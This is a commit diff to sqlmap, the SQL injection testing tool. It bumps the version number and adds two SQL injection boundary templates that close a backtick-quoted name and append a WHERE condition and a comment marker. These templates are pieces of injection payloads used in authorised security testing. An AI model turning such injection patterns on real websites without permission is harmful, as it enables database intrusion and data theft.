Adding in-table name boundaries

Author: stamparm

lib/core/settings.py

@@ -20,7 +20,7 @@
 from lib.core.revision import getRevisionNumber
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.0.3.8"
+VERSION = "1.0.3.9"
 REVISION = getRevisionNumber()
 STABLE = VERSION.count('.') <= 2
 VERSION_STRING = "sqlmap/%s#%s" % (VERSION, "stable" if STABLE else "dev")

xml/boundaries.xml

@@ -529,6 +529,24 @@ Formats:
  <prefix>) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
  <suffix>-- </suffix>
  </boundary>
+
+ <boundary>
+ <level>4</level>
+ <clause>1</clause>
+ <where>1</where>
+ <ptype>1</ptype>
+ <prefix>` WHERE [RANDNUM]=[RANDNUM]</prefix>
+ <suffix>-- </suffix>
+ </boundary>
+
+ <boundary>
+ <level>5</level>
+ <clause>1</clause>
+ <where>1</where>
+ <ptype>1</ptype>
+ <prefix>`) WHERE [RANDNUM]=[RANDNUM]</prefix>
+ <suffix>-- </suffix>
+ </boundary>
  <!-- End of pre-WHERE derived table boundaries -->
 
  <!-- INSERT/UPDATE generic boundaries (e.g. "INSERT INTO table VALUES ('$_REQUEST["name"]',...)"-->